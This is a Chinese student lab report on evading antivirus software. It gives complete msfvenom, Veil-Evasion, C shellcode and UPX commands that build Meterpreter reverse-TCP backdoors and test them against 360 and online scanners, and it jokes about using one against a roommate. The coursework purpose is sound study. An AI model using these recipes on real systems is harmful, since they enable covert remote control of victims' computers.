1.实验要求

  •   1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
  •   1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)
  • (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
  •   1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

2.实验过程

2.1正确使用msf编码器

实验2中生成的20164312_backdoor.exe就是用msfvenom生成的后门程序,直接拉到virstotal上检测一下:

很惨,71个杀软有52个都检测出来了。

tips:我们用msf编码器对后门程序进行一次编码:-e:选择编码器,-i是迭代的次数,-b:是payload中需要去除的字符。因为shellcode以\x00为结束符,所以在-b后面要跟一个\x00

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’ LHOST=192.168.192.136 LPORT=4312 -f exe > 20164312_backdoor2.exe

貌似情况好一点了,但是并没有什么大的改善。

2.2 msfvenom生成jar文件

在Linux中写入msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.181.135 LPORT=4312 x>20164312.jar

将生成的jar文件在virustotal上进行检测:

通过率有一半了,感觉比之前的exe文件要好很多。

2.3 msfvenom生成php文件

在Linux中键入msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.181.135 LPORT=4312 x> 20164312.php

继续在virustotal上检测:

emmm......这也太恐怖了吧,虽然不知道原理如何,但是实践告诉我php文件是免杀程度最好的。(细思极恐)

2.4 使用veil-evasion生成后门程序及检测

tips:Veil Evasion是一个可执行文件,它被用来生成Metasploit的payload,能绕过常见杀软

在kali Linux中键入apt-get install veil-evasion进行安装(100多M,挺费时间的)

安装成功之后,输入veil,再用use evasion命令进入Evil-Evasion界面:

输入命令use c/meterpreter/rev_tcp.py进入配置界面:

设置反弹连接IP:set LHOST 192.168.181.136   设置端口:set LPORT 4312   输入generate生成文件,接着输入playload的名字::

保存路径:/var/lib/veil/output/compiled/veil_c_4312.exe

这次使用的是virscan检测,因为不知道为什么virustotal出什么毛病了。。。说没有引擎能检测出此文件。

2.5 半手工注入Shellcode并执行

在Linux键入:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.181.136 LPORT=4312 -f c 用c语言生成一段shellcode。

创建一个文件shellcode.c,然后将unsigned char buf[] 拷贝到其中:

使用命令:i686-w64-mingw32-g++ shellcode.c -o shellcode.exe 编译这个shellcode.c文件为可执行文件:

放到virscan上检测:

拷贝到windows上用360软件查杀病毒:

tips:我的360是最新版的,emmm我也不知道为什么这么多木马只能查出来3个,难道说其他的对电脑没威胁?

2.6加压缩壳

在linux中键入upx shellcode.exe  -o 4312.upxed.exe 加个压缩壳,得到4312.upxed.exe:

上传到virscan上检测:

wc,这是什么骚操作,加了壳,反而被更多的杀软查出来了,太优秀了。

呵呵,360依然查不出来。我又把病毒库更新了一下,这次终于能杀出来了,但是360感觉还是不太安全啊:

3.通过组合应用各种技术实现恶意代码免杀

经过上面的一系列操作,我发现veil和c都比较容易实现免杀,但是更新了病毒库的360还是比较稳的,所以我将veil生成的后门程序加上壳以后再进行测试:

生成过程:

查杀结果及360版本号:

发现我给veil再加个壳就可以达到免杀了,测试一下是否可以回弹:

可以完成回弹,nice

但是virscan上结果依然不容乐观。

我在veil中重新选了ruby格式的后门程序:

有些改善,但还是无法实现彻底免杀,勉强维持生活。

发给室友进行免杀测试与回弹:

感觉学到了什么好办法~可以搞室友了。

4.实验总结

4.1.基础问题回答

  (1)杀软是如何检测出恶意代码的?

  1.基于特征码的检测

  2.启发式恶意软件检测

  3.基于行为的恶意软件检测

  (2)免杀是做什么?

  防止被杀毒软件检测出来

  (3)免杀的基本方法有哪些?

  1.改变特征码

  2.加壳

4.2.实践总结与体会

  经过这次自己动手制作软件来免杀,我深刻的体会到光有360是完全不够的,而且平时下载东西的时候不能觉得没被360查出来就是绝对安全的,应该在virscan这种网站上进行一次比较权威的杀毒检查,嗯,以后不能乱下东西了,奇怪的程序要及时删除,不能瞎点程序了。

4.3开启杀软能绝对防止电脑中恶意代码吗?

  事实证明并不能。

Exp3免杀原理与实践 20164312 马孝涛的更多相关文章

  1. Exp2后门原理与实践 20164312马孝涛

    实验内容 使用netcat获取主机操作Shell,cron启动 (0.5分) 使用socat获取主机操作Shell, 任务计划启动 (0.5分) 使用MSF meterpreter(或其他软件)生成可 ...

  2. NetSec2019 20165327 Exp3 免杀原理与实践

    NetSec2019 20165327 Exp3 免杀原理与实践 pre基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. 要做好免杀,就时清 ...

  3. Exp3 免杀原理与实践_05齐帅

    Exp3 免杀原理与实践 20154305_齐帅 想要弄懂免杀,一定得先把基础问题弄明白啊~~ 一.基础问题回答 (1)杀软是如何检测出恶意代码的? - -检测特征码: 依靠分析总结出计算机病毒中常出 ...

  4. 2017-2018-2 20155314《网络对抗技术》Exp3 免杀原理与实践

    2017-2018-2 20155314<网络对抗技术>Exp3 免杀原理与实践 目录 实验要求 实验环境 预备知识 实验步骤 1 免杀效果实测 1.1 恶意代码生成工具 1.2 免杀效果 ...

  5. 2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 Week5 20165233

    Exp3 免杀原理与实践 实验内容 一.基础问题回答 1.杀软是如何检测出恶意代码的? 基于特征码的检测:通过与自己软件中病毒的特征库比对来检测的. 启发式的软件检测:就是根据些片面特征去推断.通常是 ...

  6. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  7. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  8. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  9. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

随机推荐

  1. mysql分表经验总结

    一.为什么要分表? 当一张的数据达到几百万时,你查询一次所花的时间会变多,如果有联合查询的话,有可能会死在那儿了.分表的目的就在于此,减小数据库的负担,缩短查询时间.根据个人经验,mysql执行一个s ...

  2. Switch在swift中的使用

    switch的简单使用: 相比 C 和 objective - C 中的 switch 语句,Swift 中的 switch 语句不会默认的掉落到每个 case 的下面进入 另一个 case.相反,第 ...

  3. SSM-MyBatis-09:Mybatis中SqlSession的close为什么能造成事务的回滚

    ------------吾亦无他,唯手熟尔,谦卑若愚,好学若饥------------- 经过上几次的查找,笔者我就简单的说一下查找的思路,留给读者自己实践 同样找到sqlsession的实现类,-- ...

  4. JFrame图形界面 ----鼠标消息

    #开始 不管是什么GUI 按钮的存在都是必不可少的而且还会有很多奇怪的按钮 #代码 package window; import java.awt.Container; import java.awt ...

  5. Android开发——子进程更新UI

    方式一:Handler和Message ① 实例化一个Handler并重写handlerMessage()方法 private Handler handler = newHandler() { pub ...

  6. 本地广播 localBroadcastManager Android

    使用localBroadcastManager发出的广播只能在本应用程序的内部进行传递. App应用内广播可理解为一种局部广播,广播的发送者和接收者都同属于一个App. 相比于全局广播(普通广播),A ...

  7. C++中的4种类型转换方式

    类型转换有c风格的,当然还有c++风格的.c风格的转换的格式很简单(TYPE)EXPRESSION,但是c风格的类型转换有不少的缺点,有的时候用c风格的转换是不合适的,因为它可以在任意类型之间转换,比 ...

  8. bzoj 3759 Hungergame 博弈论+线性基

    和nim游戏类似 易证必败状态为:当前打开的箱子中石子异或和为0,没打开的箱子中不存在一个子集满足异或和为0 因为先手无论是取石子还是开箱子,后手都可以通过取石子来使状态变回原状态 所以只需判定是否有 ...

  9. NOIP2017 酱油送命记

    Day0 一天,在机房,有点考前的紧张和慌张,打了一下午的模板,立了3个不该立的flag... Day1 拿到试题,万分紧张,T1是数论啊 害怕,一直以为D2T1才是数论,仔细观察却发现(flag1: ...

  10. Java基础系列--基础排序算法

    原创作品,可以转载,但是请标注出处地址:https://www.cnblogs.com/V1haoge/p/9082138.html 一.概述 基础排序算法包括:桶排序.冒泡排序.选择排序.插入排序等 ...